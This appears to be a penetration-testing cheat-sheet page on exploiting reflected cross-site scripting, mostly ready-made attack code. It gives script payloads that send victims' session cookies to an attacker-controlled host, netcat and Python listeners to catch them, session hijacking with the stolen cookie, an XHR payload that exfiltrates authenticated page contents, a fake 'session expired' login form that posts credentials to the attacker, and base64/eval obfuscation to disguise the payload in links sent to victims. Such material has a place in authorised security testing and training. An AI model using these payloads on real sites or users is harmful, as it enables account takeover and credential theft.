Skip to content
HackIndex logo

HackIndex

Reflected XSS Exploitation

3 min read Mar 16, 2026

With a confirmed reflected XSS injection point, the primary impact in a pentest context is session hijacking via cookie theft, credential capture, and demonstrating full account takeover. This page covers building a working exploit URL and hosting the infrastructure needed to receive stolen data.

Confirming the injection point and verifying execution is covered in Reflected XSS Checks.

The most direct impact. If session cookies are not marked HttpOnly, they are readable from JavaScript and can be sent to your server.

Host a listener to receive the cookie:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Or a Python HTTP server for cleaner logging:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

Build the payload that sends cookies to your server:

<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>

URL-encode it and embed in the injection parameter:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/search?q=<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>"

The full exploit URL to send to a victim:

http://$TARGET_IP:$PORT/search?q=<script>document.location='http://LHOST:LPORT/?c='+document.cookie</script>

URL-encode the payload for cleaner delivery:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import urllib.parse; print(urllib.parse.quote(\"<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>\"))"

When the victim loads the URL, their browser executes the script and their session cookie appears in your listener as a GET request parameter.

Session Hijacking

Once you have the session cookie, use it to take over the session:

┌──(kali㉿kali)-[~]
└─$ curl -sk -b "session=STOLENVALUE" "http://$TARGET_IP:$PORT/dashboard"

In a browser, set the cookie via the developer console:

document.cookie = "session=STOLENVALUE; path=/";

Then navigate to any authenticated page. If the application accepts the cookie, you are now authenticated as the victim.

When cookies are marked HttpOnly, JavaScript cannot read them directly. Use an XHR request to make an authenticated request from the victim's browser and exfiltrate the response:

<script>
  var xhr = new XMLHttpRequest();
  xhr.onload = function() {
    var exfil = new XMLHttpRequest();
    exfil.open('GET', 'http://$LHOST:$LPORT/?d=' + btoa(this.responseText), true);
    exfil.send();
  };
  xhr.open('GET', '/account/settings', true);
  xhr.send();
</script>

This makes an authenticated request to /account/settings using the victim's existing session and sends the base64-encoded response to your listener. Useful for extracting profile data, API keys, or tokens from the application without needing the raw cookie.

Decode the received data:

┌──(kali㉿kali)-[~]
└─$ echo 'BASE64VALUE' | base64 -d

Credential Capture via Fake Login Form

When the application does not use HttpOnly cookies and you want to capture plaintext credentials, inject a fake login form that posts to your server. This works best when the XSS lands on a page that users would expect to re-authenticate on:

<script>
  document.body.innerHTML='<form action="http://$LHOST:$LPORT/capture" method="POST"><h2>Session expired. Please log in again.</h2><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>

Receive credentials with netcat:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Or a Python server that logs POST bodies:

import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers['Content-Length'])
        print(self.rfile.read(l).decode())
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', $LPORT), H).serve_forever()

Confirming HttpOnly Status

Before building your exploit, check which cookies are HttpOnly:

┌──(kali㉿kali)-[~]
└─$ curl -sk -c /tmp/cookies.txt "http://$TARGET_IP:$PORT/login" -d "user=$USER&pass=$PASSWORD" -L
┌──(kali㉿kali)-[~]
└─$ cat /tmp/cookies.txt

The HttpOnly flag appears in the cookie line. Alternatively, check response headers on login:

┌──(kali㉿kali)-[~]
└─$ curl -sk -I -X POST "http://$TARGET_IP:$PORT/login" -d "user=$USER&pass=$PASSWORD"

A Set-Cookie header with HttpOnly means you cannot read it via document.cookie and need the XHR approach.

URL Shortening for Delivery

Long XSS URLs with raw payloads look suspicious. For social engineering delivery in scope, shorten the URL or encode the payload in a less recognisable form. Base64 with eval avoids obvious keywords in the URL:

┌──(kali㉿kali)-[~]
└─$ echo -n "document.location='http://$LHOST:$LPORT/?c='+document.cookie" | base64

Payload:

<script>eval(atob('BASE64HERE'))</script>

This encodes the malicious part and only leaves eval(atob(...)) visible in the URL.

References